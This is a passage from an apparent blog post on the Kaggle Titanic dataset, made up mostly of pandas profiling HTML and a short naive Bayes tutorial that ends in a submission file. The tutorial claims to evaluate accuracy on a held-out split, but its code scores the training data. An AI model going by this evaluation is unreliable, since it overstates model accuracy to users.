spacing"><a class="anchor-pos anchor-pos-variable" id=pp_var_5926577159534473622></a><div class=variable><div class=col-sm-3><p class=h4 title=Sex><a href=#pp_var_5926577159534473622>Sex</a><br><small>Categorical</small></p><p class=variable-description></p></div><div class=col-sm-3><table class="table table-condensed stats"><tbody><tr><th>Distinct</th><td>2</td></tr><tr><th>Distinct (%)</th><td>0.2%</td></tr><tr><th>Missing</th><td>0</td></tr><tr><th>Missing (%)</th><td>0.0%</td></tr><tr><th>Memory size</th><td>50.6 KiB</td></tr></tbody></table></div><div class=col-sm-6><div class="col-sm- collapse in" id=minifreqtable><table class="mini freq"><tr class><th width=50%> 0 </th><td width=50%><div class=bar style=width:100.0% data-toggle=tooltip data-placement=right data-html=true data-delay=500> 577&nbsp; </div></td></tr><tr class><th width=50%> 1 </th><td width=50%><div class=bar style=width:54.4% data-toggle=tooltip data-placement=right data-html=true data-delay=500> 314&nbsp; </div></td></tr></table></div></div><div class="col-sm-12 text-right"><button class="btn btn-default btn-sm" data-toggle=collapse data-target="#bottom-5926577159534473622, #minifreqtable5926577159534473622" aria-expanded=true aria-controls=collapseExample>Toggle details</button></div><div id=bottom-5926577159534473622 class=collapse><div class="row spacing"><ul class="nav nav-tabs" role=tablist><li role=presentation class=active><a href=#5926577159534473622bottom-5926577159534473622overview aria-controls=5926577159534473622bottom-5926577159534473622overview role=tab data-toggle=tab>Overview</a></li><li role=presentation><a href=#5926577159534473622bottom-5926577159534473622string aria-controls=5926577159534473622bottom-5926577159534473622string role=tab data-toggle=tab>Categories</a></li><li role=presentation><a href=#5926577159534473622bottom-5926577159534473622word aria-controls=5926577159534473622bottom-5926577159534473622word role=tab data-toggle=tab>Words</a></li><li role=presentation><a href=#5926577159534473622bottom-5926577159534473622characters aria-controls=5926577159534473622bottom-5926577159534473622characters role=tab data-toggle=tab>Characters</a></li></ul><div class=tab-content><div role=tabpanel class="tab-pane col-sm-12 active" id=5926577159534473622bottom-5926577159534473622overview><div class=row><div class=col-sm-3><p class=h4>Length</p><table class="table table-condensed stats"><tbody><tr><th>Max length</th><td>1</td></tr><tr><th>Median length</th><td>1</td></tr><tr><th>Mean length</th><td>1</td></tr><tr><th>Min length</th><td>1</td></tr></tbody></table></div><div class=col-sm-3><p class=h4>Characters and Unicode</p><table class="table table-condensed stats"><tbody><tr><th>Total characters</th><td>891</td></tr><tr><th>Distinct characters</th><td>2</td></tr><tr><th>Distinct categories</th><td>1 <a title="Unicode categories (click for more information)" href=https://en.wikipedia.org/wiki/Unicode_character_property#General_Category target=_blank><span class="badge pull-right" style=color:#fff;background-color:#337ab7; title="Unicode categories (click for more information)">?</span></a></td></tr><tr><th>Distinct scripts</th><td>1 <a title="Unicode scripts (click for more information)" href=https://en.wikipedia.org/wiki/Script_(Unicode)#List_of_scripts_in_Unicode target=_blank><span class="badge pull-right" style=color:#fff;background-color:#337ab7; title="Unicode scripts (click for more information)">?</span></a></td></tr><tr><th>Distinct blocks</th><td>1 <a title="Unicode blocks (click for more information)" href=https://en.wikipedia.org/wiki/Unicode_block target=_blank><span class="badge pull-right" style=color:#fff;background-color:#337ab7; title="Unicode blocks (click for more information)">?</span></a></td></tr></tbody></table><div class="caption text-center text-muted"> The Unicode Standard assigns character properties to each code point, which can be used to analyse textual variables. </div></div><div class=col-sm-3><p class=h4>Unique</p><table class="table table-condensed stats"><tbody><tr><th>Unique</th><td>0 <span class="badge pull-right" style=color:#fff;background-color:#337ab7; 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aria-controls=5926577159534473622unicode-5926577159534473622characters role=tab data-toggle=tab>Characters</a></li><li role=presentation><a href=#5926577159534473622unicode-5926577159534473622categories aria-controls=5926577159534473622unicode-5926577159534473622categories role=tab data-toggle=tab>Categories</a></li><li role=presentation><a href=#5926577159534473622unicode-5926577159534473622scripts aria-controls=5926577159534473622unicode-5926577159534473622scripts role=tab data-toggle=tab>Scripts</a></li><li role=presentation><a href=#5926577159534473622unicode-5926577159534473622blocks aria-controls=5926577159534473622unicode-5926577159534473622blocks role=tab data-toggle=tab>Blocks</a></li></ul><div class=tab-content><div role=tabpanel class="tab-pane col-sm-12 active" id=5926577159534473622unicode-5926577159534473622characters><div class="row named-list-item"><h4>Most occurring characters</h4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=0>0</td><td>577</td><td><div class=bar style=width:100.0%> 64.8% </div></td></tr><tr class><td title=1>1</td><td>314</td><td><div class=bar style=width:54.4%> 35.2% </div></td></tr></tbody></table></div></div><div role=tabpanel class="tab-pane col-sm-12" id=5926577159534473622unicode-5926577159534473622categories><div class="row named-list-item"><h4>Most occurring categories</h4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title="Decimal Number">Decimal Number</td><td>891</td><td><div class=bar style=width:100.0%> 100.0% </div></td></tr></tbody></table></div><div class="row named-list-item"><h4>Most frequent character per category</h4><div class=row><div class=col-sm-4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency 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</div> 0.8% </td></tr><tr class><td title=5>5</td><td>5</td><td><div class=bar style=width:0.8%> &nbsp; </div> 0.6% </td></tr></tbody></table></div><div role=tabpanel class="tab-pane col-sm-12" id=8060475129680382162bottom-8060475129680382162extreme_values><div class="row spacing"><ul class="nav nav-tabs" role=tablist><li role=presentation class=active><a href=#8060475129680382162extreme_values-8060475129680382162firstn aria-controls=8060475129680382162extreme_values-8060475129680382162firstn role=tab data-toggle=tab>Minimum 5 values</a></li><li role=presentation><a href=#8060475129680382162extreme_values-8060475129680382162lastn aria-controls=8060475129680382162extreme_values-8060475129680382162lastn role=tab data-toggle=tab>Maximum 5 values</a></li></ul><div class=tab-content><div role=tabpanel class="tab-pane col-sm-12 active" id=8060475129680382162extreme_values-8060475129680382162firstn><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=0>0</td><td>608</td><td><div class=bar style=width:100.0%> 68.2% </div></td></tr><tr class><td title=1>1</td><td>209</td><td><div class=bar style=width:34.4%> &nbsp; </div> 23.5% </td></tr><tr class><td title=2>2</td><td>28</td><td><div class=bar style=width:4.6%> &nbsp; </div> 3.1% </td></tr><tr class><td title=3>3</td><td>16</td><td><div class=bar style=width:2.6%> &nbsp; </div> 1.8% </td></tr><tr class><td title=4>4</td><td>18</td><td><div class=bar style=width:3.0%> &nbsp; </div> 2.0% </td></tr><tr class><td title=5>5</td><td>5</td><td><div class=bar style=width:0.8%> &nbsp; </div> 0.6% </td></tr><tr class><td title=8>8</td><td>7</td><td><div class=bar style=width:1.2%> &nbsp; </div> 0.8% </td></tr></tbody></table></div><div role=tabpanel class="tab-pane col-sm-12" id=8060475129680382162extreme_values-8060475129680382162lastn><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=8>8</td><td>7</td><td><div class=bar style=width:1.2%> &nbsp; </div> 0.8% </td></tr><tr class><td title=5>5</td><td>5</td><td><div class=bar style=width:0.8%> &nbsp; </div> 0.6% </td></tr><tr class><td title=4>4</td><td>18</td><td><div class=bar style=width:3.0%> &nbsp; </div> 2.0% </td></tr><tr class><td title=3>3</td><td>16</td><td><div class=bar style=width:2.6%> &nbsp; </div> 1.8% </td></tr><tr class><td title=2>2</td><td>28</td><td><div class=bar style=width:4.6%> &nbsp; </div> 3.1% </td></tr><tr class><td title=1>1</td><td>209</td><td><div class=bar style=width:34.4%> &nbsp; </div> 23.5% </td></tr><tr class><td title=0>0</td><td>608</td><td><div class=bar style=width:100.0%> 68.2% </div></td></tr></tbody></table></div></div></div></div></div></div></div></div></div><div class="row spacing"><a class="anchor-pos anchor-pos-variable" id=pp_var_9179953672643837052></a><div class=variable><div class=col-sm-3><p class=h4 title=Parch><a href=#pp_var_9179953672643837052>Parch</a><br><small>Real number (&Ropf;<sub>&ge;0</sub>)</small></p><code>ZEROS</code><br><p class=variable-description></p></div><div class=col-sm-3><table class="table table-condensed stats"><tbody><tr><th>Distinct</th><td>7</td></tr><tr><th>Distinct (%)</th><td>0.8%</td></tr><tr><th>Missing</th><td>0</td></tr><tr><th>Missing (%)</th><td>0.0%</td></tr><tr><th>Infinite</th><td>0</td></tr><tr><th>Infinite (%)</th><td>0.0%</td></tr><tr><th>Mean</th><td>0.3815937149</td></tr></tbody></table></div><div class=col-sm-3><table class="table table-condensed stats"><tbody><tr><th>Minimum</th><td>0</td></tr><tr><th>Maximum</th><td>6</td></tr><tr class=alert><th>Zeros</th><td>678</td></tr><tr class=alert><th>Zeros (%)</th><td>76.1%</td></tr><tr><th>Negative</th><td>0</td></tr><tr><th>Negative (%)</th><td>0.0%</td></tr><tr><th>Memory size</th><td>7.1 KiB</td></tr></tbody></table></div><div class=col-sm-3><?xml version="1.0" encoding="utf-8" standalone="no"?><!DOCTYPE svg class="img-responsive center-img"PUBLIC "-//W3C//DTD SVG 1.1//EN"
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</div> 0.4% </td></tr><tr class><td title=6>6</td><td>1</td><td><div class=bar style=width:0.1%> &nbsp; </div> 0.1% </td></tr></tbody></table></div><div role=tabpanel class="tab-pane col-sm-12" id=9179953672643837052bottom-9179953672643837052extreme_values><div class="row spacing"><ul class="nav nav-tabs" role=tablist><li role=presentation class=active><a href=#9179953672643837052extreme_values-9179953672643837052firstn aria-controls=9179953672643837052extreme_values-9179953672643837052firstn role=tab data-toggle=tab>Minimum 5 values</a></li><li role=presentation><a href=#9179953672643837052extreme_values-9179953672643837052lastn aria-controls=9179953672643837052extreme_values-9179953672643837052lastn role=tab data-toggle=tab>Maximum 5 values</a></li></ul><div class=tab-content><div role=tabpanel class="tab-pane col-sm-12 active" id=9179953672643837052extreme_values-9179953672643837052firstn><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=0>0</td><td>678</td><td><div class=bar style=width:100.0%> 76.1% </div></td></tr><tr class><td title=1>1</td><td>118</td><td><div class=bar style=width:17.4%> &nbsp; </div> 13.2% </td></tr><tr class><td title=2>2</td><td>80</td><td><div class=bar style=width:11.8%> &nbsp; </div> 9.0% </td></tr><tr class><td title=3>3</td><td>5</td><td><div class=bar style=width:0.7%> &nbsp; </div> 0.6% </td></tr><tr class><td title=4>4</td><td>4</td><td><div class=bar style=width:0.6%> &nbsp; </div> 0.4% </td></tr><tr class><td title=5>5</td><td>5</td><td><div class=bar style=width:0.7%> &nbsp; </div> 0.6% </td></tr><tr class><td title=6>6</td><td>1</td><td><div class=bar style=width:0.1%> &nbsp; </div> 0.1% </td></tr></tbody></table></div><div role=tabpanel class="tab-pane col-sm-12" id=9179953672643837052extreme_values-9179953672643837052lastn><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=6>6</td><td>1</td><td><div class=bar style=width:0.1%> &nbsp; </div> 0.1% </td></tr><tr class><td title=5>5</td><td>5</td><td><div class=bar style=width:0.7%> &nbsp; </div> 0.6% </td></tr><tr class><td title=4>4</td><td>4</td><td><div class=bar style=width:0.6%> &nbsp; </div> 0.4% </td></tr><tr class><td title=3>3</td><td>5</td><td><div class=bar style=width:0.7%> &nbsp; </div> 0.6% </td></tr><tr class><td title=2>2</td><td>80</td><td><div class=bar style=width:11.8%> &nbsp; </div> 9.0% </td></tr><tr class><td title=1>1</td><td>118</td><td><div class=bar style=width:17.4%> &nbsp; </div> 13.2% </td></tr><tr class><td title=0>0</td><td>678</td><td><div class=bar style=width:100.0%> 76.1% </div></td></tr></tbody></table></div></div></div></div></div></div></div></div></div><div class="row spacing"><a class="anchor-pos anchor-pos-variable" id=pp_var_6740923749893651080></a><div class=variable><div class=col-sm-3><p class=h4 title=Fare><a href=#pp_var_6740923749893651080>Fare</a><br><small>Real number (&Ropf;<sub>&ge;0</sub>)</small></p><code>ZEROS</code><br><p class=variable-description></p></div><div class=col-sm-3><table class="table table-condensed stats"><tbody><tr><th>Distinct</th><td>248</td></tr><tr><th>Distinct (%)</th><td>27.8%</td></tr><tr><th>Missing</th><td>0</td></tr><tr><th>Missing (%)</th><td>0.0%</td></tr><tr><th>Infinite</th><td>0</td></tr><tr><th>Infinite (%)</th><td>0.0%</td></tr><tr><th>Mean</th><td>32.20420797</td></tr></tbody></table></div><div class=col-sm-3><table class="table table-condensed stats"><tbody><tr><th>Minimum</th><td>0</td></tr><tr><th>Maximum</th><td>512.3292</td></tr><tr class=alert><th>Zeros</th><td>15</td></tr><tr class=alert><th>Zeros (%)</th><td>1.7%</td></tr><tr><th>Negative</th><td>0</td></tr><tr><th>Negative (%)</th><td>0.0%</td></tr><tr><th>Memory size</th><td>7.1 KiB</td></tr></tbody></table></div><div class=col-sm-3><?xml version="1.0" encoding="utf-8" standalone="no"?><!DOCTYPE svg class="img-responsive center-img"PUBLIC "-//W3C//DTD SVG 1.1//EN"
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</div> 3.5% </td></tr><tr class><td title=10.5>10.5</td><td>24</td><td><div class=bar style=width:3.9%> &nbsp; </div> 2.7% </td></tr><tr class><td title=7.925>7.925</td><td>18</td><td><div class=bar style=width:2.9%> &nbsp; </div> 2.0% </td></tr><tr class><td title=7.775>7.775</td><td>16</td><td><div class=bar style=width:2.6%> &nbsp; </div> 1.8% </td></tr><tr class><td title=0>0</td><td>15</td><td><div class=bar style=width:2.4%> &nbsp; </div> 1.7% </td></tr><tr class><td title=26.55>26.55</td><td>15</td><td><div class=bar style=width:2.4%> &nbsp; </div> 1.7% </td></tr><tr class=other><td title="Other values (238)">Other values (238)</td><td>615</td><td><div class=bar style=width:100.0%> 69.0% </div></td></tr></tbody></table></div><div role=tabpanel class="tab-pane col-sm-12" id=6740923749893651080bottom-6740923749893651080extreme_values><div class="row spacing"><ul class="nav nav-tabs" role=tablist><li role=presentation class=active><a href=#6740923749893651080extreme_values-6740923749893651080firstn aria-controls=6740923749893651080extreme_values-6740923749893651080firstn role=tab data-toggle=tab>Minimum 5 values</a></li><li role=presentation><a href=#6740923749893651080extreme_values-6740923749893651080lastn aria-controls=6740923749893651080extreme_values-6740923749893651080lastn role=tab data-toggle=tab>Maximum 5 values</a></li></ul><div class=tab-content><div role=tabpanel class="tab-pane col-sm-12 active" id=6740923749893651080extreme_values-6740923749893651080firstn><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=0>0</td><td>15</td><td><div class=bar style=width:100.0%> 1.7% </div></td></tr><tr class><td title=4.0125>4.0125</td><td>1</td><td><div class=bar style=width:6.7%> &nbsp; </div> 0.1% </td></tr><tr class><td title=5>5</td><td>1</td><td><div class=bar style=width:6.7%> &nbsp; </div> 0.1% </td></tr><tr class><td title=6.2375>6.2375</td><td>1</td><td><div class=bar style=width:6.7%> &nbsp; </div> 0.1% </td></tr><tr class><td title=6.4375>6.4375</td><td>1</td><td><div class=bar style=width:6.7%> &nbsp; </div> 0.1% </td></tr><tr class><td title=6.45>6.45</td><td>1</td><td><div class=bar style=width:6.7%> &nbsp; </div> 0.1% </td></tr><tr class><td title=6.4958>6.4958</td><td>2</td><td><div class=bar style=width:13.3%> &nbsp; </div> 0.2% </td></tr><tr class><td title=6.75>6.75</td><td>2</td><td><div class=bar style=width:13.3%> &nbsp; </div> 0.2% </td></tr><tr class><td title=6.8583>6.8583</td><td>1</td><td><div class=bar style=width:6.7%> &nbsp; </div> 0.1% </td></tr><tr class><td title=6.95>6.95</td><td>1</td><td><div class=bar style=width:6.7%> &nbsp; </div> 0.1% </td></tr></tbody></table></div><div role=tabpanel class="tab-pane col-sm-12" id=6740923749893651080extreme_values-6740923749893651080lastn><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=512.3292>512.3292</td><td>3</td><td><div class=bar style=width:75.0%> 0.3% </div></td></tr><tr class><td title=263>263</td><td>4</td><td><div class=bar style=width:100.0%> 0.4% </div></td></tr><tr class><td title=262.375>262.375</td><td>2</td><td><div class=bar style=width:50.0%> 0.2% </div></td></tr><tr class><td title=247.5208>247.5208</td><td>2</td><td><div class=bar style=width:50.0%> 0.2% </div></td></tr><tr class><td title=227.525>227.525</td><td>4</td><td><div class=bar style=width:100.0%> 0.4% </div></td></tr><tr class><td title=221.7792>221.7792</td><td>1</td><td><div class=bar style=width:25.0%> &nbsp; </div> 0.1% </td></tr><tr class><td title=211.5>211.5</td><td>1</td><td><div class=bar style=width:25.0%> &nbsp; </div> 0.1% </td></tr><tr class><td title=211.3375>211.3375</td><td>3</td><td><div class=bar style=width:75.0%> 0.3% </div></td></tr><tr class><td title=164.8667>164.8667</td><td>2</td><td><div class=bar style=width:50.0%> 0.2% </div></td></tr><tr class><td title=153.4625>153.4625</td><td>3</td><td><div class=bar style=width:75.0%> 0.3% </div></td></tr></tbody></table></div></div></div></div></div></div></div></div></div><div class="row spacing"><a class="anchor-pos anchor-pos-variable" id=pp_var_7095690395797544453></a><div class=variable><div class=col-sm-3><p class=h4 title=Embarked><a href=#pp_var_7095690395797544453>Embarked</a><br><small>Categorical</small></p><p class=variable-description></p></div><div class=col-sm-3><table class="table table-condensed stats"><tbody><tr><th>Distinct</th><td>3</td></tr><tr><th>Distinct (%)</th><td>0.3%</td></tr><tr><th>Missing</th><td>0</td></tr><tr><th>Missing (%)</th><td>0.0%</td></tr><tr><th>Memory size</th><td>52.3 KiB</td></tr></tbody></table></div><div class=col-sm-6><div class="col-sm- collapse in" id=minifreqtable><table class="mini freq"><tr class><th width=50%> 0.0 </th><td width=50%><div class=bar style=width:100.0% data-toggle=tooltip data-placement=right data-html=true data-delay=500> 646&nbsp; </div></td></tr><tr class><th width=50%> 1.0 </th><td width=50%><div class=bar style=width:26.0% data-toggle=tooltip data-placement=right data-html=true data-delay=500> 168&nbsp; </div></td></tr><tr class><th width=50%> 2.0 </th><td width=50%><div class=bar style=width:11.9% data-toggle=tooltip data-placement=right data-html=true data-delay=500> 77&nbsp; </div></td></tr></table></div></div><div class="col-sm-12 text-right"><button class="btn btn-default btn-sm" data-toggle=collapse data-target="#bottom-7095690395797544453, #minifreqtable7095690395797544453" aria-expanded=true aria-controls=collapseExample>Toggle details</button></div><div id=bottom-7095690395797544453 class=collapse><div class="row spacing"><ul class="nav nav-tabs" role=tablist><li role=presentation class=active><a href=#7095690395797544453bottom-7095690395797544453overview aria-controls=7095690395797544453bottom-7095690395797544453overview role=tab data-toggle=tab>Overview</a></li><li role=presentation><a href=#7095690395797544453bottom-7095690395797544453string aria-controls=7095690395797544453bottom-7095690395797544453string role=tab data-toggle=tab>Categories</a></li><li role=presentation><a href=#7095690395797544453bottom-7095690395797544453word aria-controls=7095690395797544453bottom-7095690395797544453word role=tab data-toggle=tab>Words</a></li><li role=presentation><a href=#7095690395797544453bottom-7095690395797544453characters aria-controls=7095690395797544453bottom-7095690395797544453characters role=tab data-toggle=tab>Characters</a></li></ul><div class=tab-content><div role=tabpanel class="tab-pane col-sm-12 active" id=7095690395797544453bottom-7095690395797544453overview><div class=row><div class=col-sm-3><p class=h4>Length</p><table class="table table-condensed stats"><tbody><tr><th>Max length</th><td>3</td></tr><tr><th>Median length</th><td>3</td></tr><tr><th>Mean length</th><td>3</td></tr><tr><th>Min length</th><td>3</td></tr></tbody></table></div><div class=col-sm-3><p class=h4>Characters and Unicode</p><table class="table table-condensed stats"><tbody><tr><th>Total characters</th><td>2673</td></tr><tr><th>Distinct characters</th><td>4</td></tr><tr><th>Distinct categories</th><td>2 <a title="Unicode categories (click for more information)" href=https://en.wikipedia.org/wiki/Unicode_character_property#General_Category target=_blank><span class="badge pull-right" style=color:#fff;background-color:#337ab7; title="Unicode categories (click for more information)">?</span></a></td></tr><tr><th>Distinct scripts</th><td>1 <a title="Unicode scripts (click for more information)" href=https://en.wikipedia.org/wiki/Script_(Unicode)#List_of_scripts_in_Unicode target=_blank><span class="badge pull-right" style=color:#fff;background-color:#337ab7; title="Unicode scripts (click for more information)">?</span></a></td></tr><tr><th>Distinct blocks</th><td>1 <a title="Unicode blocks (click for more information)" href=https://en.wikipedia.org/wiki/Unicode_block target=_blank><span class="badge pull-right" style=color:#fff;background-color:#337ab7; title="Unicode blocks (click for more information)">?</span></a></td></tr></tbody></table><div class="caption text-center text-muted"> The Unicode Standard assigns character properties to each code point, which can be used to analyse textual variables. </div></div><div class=col-sm-3><p class=h4>Unique</p><table class="table table-condensed stats"><tbody><tr><th>Unique</th><td>0 <span class="badge pull-right" style=color:#fff;background-color:#337ab7; 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</div> 6.3% </td></tr><tr class><td title=2>2</td><td>77</td><td><div class=bar style=width:5.0%> &nbsp; </div> 2.9% </td></tr></tbody></table></div></div><div role=tabpanel class="tab-pane col-sm-12" id=7095690395797544453unicode-7095690395797544453categories><div class="row named-list-item"><h4>Most occurring categories</h4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title="Decimal Number">Decimal Number</td><td>1782</td><td><div class=bar style=width:100.0%> 66.7% </div></td></tr><tr class><td title="Other Punctuation">Other Punctuation</td><td>891</td><td><div class=bar style=width:50.0%> 33.3% </div></td></tr></tbody></table></div><div class="row named-list-item"><h4>Most frequent character per category</h4><div class=row><div class=col-sm-4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=0>0</td><td>1537</td><td><div class=bar style=width:100.0%> 86.3% </div></td></tr><tr class><td title=1>1</td><td>168</td><td><div class=bar style=width:10.9%> &nbsp; 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</div> 6.3% </td></tr><tr class><td title=2>2</td><td>77</td><td><div class=bar style=width:5.0%> &nbsp; </div> 2.9% </td></tr></tbody></table></div></div></div></div><div role=tabpanel class="tab-pane col-sm-12" id=7095690395797544453unicode-7095690395797544453blocks><div class="row named-list-item"><h4>Most occurring blocks</h4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=ASCII>ASCII</td><td>2673</td><td><div class=bar style=width:100.0%> 100.0% </div></td></tr></tbody></table></div><div class="row named-list-item"><h4>Most frequent character per block</h4><div class=row><div class=col-sm-4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=0>0</td><td>1537</td><td><div class=bar style=width:100.0%> 57.5% </div></td></tr><tr class><td title=.>.</td><td>891</td><td><div class=bar style=width:58.0%> 33.3% </div></td></tr><tr class><td title=1>1</td><td>168</td><td><div class=bar style=width:10.9%> &nbsp; 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</script><div style=display:inline><ul class="nav nav-tabs" role=tablist><li role=presentation class=active><a href=#correlations_tab-pearson aria-controls=correlations_tab-pearson role=tab data-toggle=tab>Pearson's r</a></li><li role=presentation><a href=#correlations_tab-spearman aria-controls=correlations_tab-spearman role=tab data-toggle=tab>Spearman's ρ</a></li><li role=presentation><a href=#correlations_tab-kendall aria-controls=correlations_tab-kendall role=tab data-toggle=tab>Kendall's τ</a></li><li role=presentation><a href=#correlations_tab-phi_k aria-controls=correlations_tab-phi_k role=tab data-toggle=tab>Phik (φk)</a></li><li role=presentation><a href=#correlations_tab-cramers aria-controls=correlations_tab-cramers role=tab data-toggle=tab>Cramér's V (φc)</a></li></ul><div class=tab-content><div role=tabpanel class="tab-pane col-sm-12 active" id=correlations_tab-pearson><div class="col-sm-6 correlation-diagram"><?xml version="1.0" encoding="utf-8" standalone="no"?><!DOCTYPE svg class="img-responsive center-img"PUBLIC "-//W3C//DTD SVG 1.1//EN"
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<h2 id="training-the-model">Training the model</h2>
<p>We are using a Gaussian naive Bayes classifier for classifying the data. As Python takes care of all the difficult stuff, we can essentially treat it like a black box.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">features</span> <span class="o">=</span> <span class="n">train</span><span class="p">.</span><span class="n">drop</span><span class="p">(</span><span class="s">'Survived'</span><span class="p">,</span> <span class="n">axis</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span>
<span class="n">label</span> <span class="o">=</span> <span class="n">train</span><span class="p">[</span><span class="s">'Survived'</span><span class="p">]</span>
</code></pre></div></div>
<p>We split the data in order to evaluate our accuracy and go on to train the model.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">X_train</span><span class="p">,</span> <span class="n">X_test</span><span class="p">,</span> <span class="n">y_train</span><span class="p">,</span> <span class="n">y_test</span> <span class="o">=</span> <span class="n">train_test_split</span><span class="p">(</span><span class="n">features</span><span class="p">,</span> <span class="n">label</span><span class="p">,</span> <span class="n">test_size</span><span class="o">=</span><span class="mf">0.2</span><span class="p">,</span> <span class="n">random_state</span><span class="o">=</span><span class="mi">50</span><span class="p">)</span>
</code></pre></div></div>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">gaussian</span> <span class="o">=</span> <span class="n">GaussianNB</span><span class="p">()</span>
<span class="n">gaussian</span><span class="p">.</span><span class="n">fit</span><span class="p">(</span><span class="n">X_train</span><span class="p">,</span> <span class="n">y_train</span><span class="p">)</span>
<span class="n">y_pred</span> <span class="o">=</span> <span class="n">gaussian</span><span class="p">.</span><span class="n">predict</span><span class="p">(</span><span class="n">X_test</span><span class="p">)</span>
<span class="n">accuracy</span> <span class="o">=</span> <span class="n">gaussian</span><span class="p">.</span><span class="n">score</span><span class="p">(</span><span class="n">X_train</span><span class="p">,</span> <span class="n">y_train</span><span class="p">)</span> <span class="o">*</span> <span class="mi">100</span>
<span class="k">print</span><span class="p">(</span><span class="n">accuracy</span><span class="p">)</span>
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>79.21348314606742
</code></pre></div></div>
<p>Our accuracy is around 80% which is very impressive considering that we did nothing clever and just used the defaults. All that is left is to run our statistical model on the real testing data and submit it to Kaggle.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">gaussian</span><span class="p">.</span><span class="n">predict</span><span class="p">(</span><span class="n">test</span><span class="p">)</span>
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>array([0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0,
1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1,
1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1,
1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1,
1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0,
0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1,
0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1,
1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1,
0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0,
1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1,
1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1,
0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0,
0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0,
1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0,
1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0,
0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0,
1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1,
0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0])
</code></pre></div></div>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">results</span> <span class="o">=</span> <span class="n">pd</span><span class="p">.</span><span class="n">DataFrame</span><span class="p">({</span>
<span class="s">"PassengerId"</span><span class="p">:</span> <span class="n">test</span><span class="p">[</span><span class="s">"PassengerId"</span><span class="p">],</span>
<span class="s">"Survived"</span><span class="p">:</span> <span class="n">gaussian</span><span class="p">.</span><span class="n">predict</span><span class="p">(</span><span class="n">test</span><span class="p">)</span>
<span class="p">})</span>
<span class="n">results</span><span class="p">.</span><span class="n">to_csv</span><span class="p">(</span><span class="s">'submission.csv'</span><span class="p">,</span> <span class="n">index</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
</code></pre></div></div>
<h1 id="end">End</h1>
<p>When uploading to Kaggle this gives me an accuracy of 0.75358. Nice. No knowledge of math was necessary.</p>
Writeup Of Xorsa From Plaidctf 2021
2021-04-18T00:00:00+00:00
